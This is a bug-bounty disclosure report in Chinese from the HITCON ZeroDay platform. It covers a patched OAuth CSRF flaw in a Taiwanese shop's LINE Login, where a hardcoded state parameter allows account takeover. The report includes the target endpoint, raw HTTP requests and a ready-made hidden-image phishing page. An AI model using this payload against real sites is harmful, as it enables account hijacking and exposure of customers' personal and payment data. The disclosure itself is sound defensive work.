Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2026-00517
- Vendor: erotogenic.com.tw
- Title: erotogenic情趣用品界第一把交椅 line login oauth csrf, 靜態state參數導致帳號劫持
- Introduction: state硬編碼 攻擊者拿到code可以對受害者釣魚,進而登入受害者的line帳號
- 獎勵金
處理狀態
目前狀態
公開
Last Update : 2026/05/19
-
新提交
-
已審核
-
已通報
-
已修補
-
已複測
-
公開
處理歷程
- 2026/04/08 22:44:13 : 新提交 (由 鄉民 更新此狀態)
- 2026/04/08 22:49:13 : 新提交 (由 鄉民 更新此狀態)
- 2026/04/14 19:58:52 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:47:20 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:47:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/13 15:47:20 : 修補中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2026/05/14 11:46:04 : 複測申請中 (由 組織帳號 更新此狀態)
- 2026/05/15 10:27:02 : 確認已修補 (由 鄉民 更新此狀態)
- 2026/05/19 03:00:09 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2026-00517
- 通報者:鄉民
- 風險:高
- 類型:跨站冒名請求 (Cross-Site Request Forgery, CSRF)
參考資料
攻擊者可經由該漏洞惡意操控使用者帳號進行惡意行為。
漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
漏洞說明: OWASP - Cross-Site Request Forgery (CSRF)
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)
防禦措施: OWASP - Cross-Site Request Forgery (CSRF) Prevention Cheat Sheet
https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://erotogenic.com.tw/line_login_sure.php
敘述
根據 OAuth 2.0 的規範,state 的參數應該每次產生的值需為隨機的,防止 CSRF,因為此參數是固定且沒有被驗證,攻擊者可以透過將自己 LINE 帳號綁定到任意已經登入的使用者的帳號上,達成 account takeover
Reproduce Step
1. 確認 state 固定
使用 ctrl + u 看網頁 src,找 LINE 的登入連結,可以發現 state 寫死 erotogenic
<a href="https://access.line.me/oauth2/v2.1/authorize?response_type=code&client_id=2001191216&redirect_uri=https%3A%2F%2Ferotogenic.com.tw%2Fline_login_sure.php&state=erotogenic&scope=openid+profile">
2. 確認伺服器不驗證 state
送出帶有無效 code 的 callback request:
GET /line_login_sure.php?code=testinvalidcode&state=erotogenic HTTP/2
Host: erotogenic.com.tw
回應:
<script>alert("token驗證失敗");location.href="https://access.line.me/";</script>
server 會回應 token 驗證失敗,表示跳過 state 驗證,直接進行 code 兌換,如果有驗證 state 的話,應該在 code 兌換以前就拒絕請求
3. 攻擊者取得 OAuth callback URL
- 攻擊者開啟 Chrome DevTools → Network tab → 勾選 Preserve log
- 攻擊者至 erotogenic.com.tw 點擊「LINE 登入」
- 攻擊者使用自己的 LINE 帳號完成授權
- LINE 將攻擊者導回 callback,Network tab 可見:
Request URL: https://erotogenic.com.tw/line_login_sure.php?code=I4rPevbaQvhR1uGzK3Hd&state=erotogenic
Method: GET
Status: 200 OK
Referrer: https://access.line.me/
(若使用 proxy 工具攔截 redirect,可取得未消耗的 code)
4. 攻擊者製作釣魚頁面送給受害者
<html>
<body>
<h1>E大限時特賣活動</h1>
<img src="https://erotogenic.com.tw/line_login_sure.php?code=ATTACKER_CODE&state=erotogenic"
style="display:none">
</body>
</html>
5. 受害者(已登入 erotogenic.com.tw)打開此頁面
瀏覽器自動發出 GET request 至 callback endpoint,伺服器將攻擊者的 LINE 帳號綁定到受害者帳號
6. 攻擊者使用 LINE 登入受害者帳號
攻擊者回到 erotogenic.com.tw,使用 LINE 登入,即可進入受害者帳號。
影響
- 帳號接管:攻擊者可透過 LINE Login 永久登入受害者帳號
- 個資外洩:受害者的姓名、收件地址、電話號碼、訂單紀錄、付款資訊均可被存取
- 受害者不知情:LINE 帳號綁定過程無任何通知
- 持久性存取:即使受害者更改密碼,攻擊者仍可透過 LINE Login 登入
修補建議
在產生 LINE OAuth 授權 URL 時,使用 per-session 的隨機 state 值,並在 callback 中驗證
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。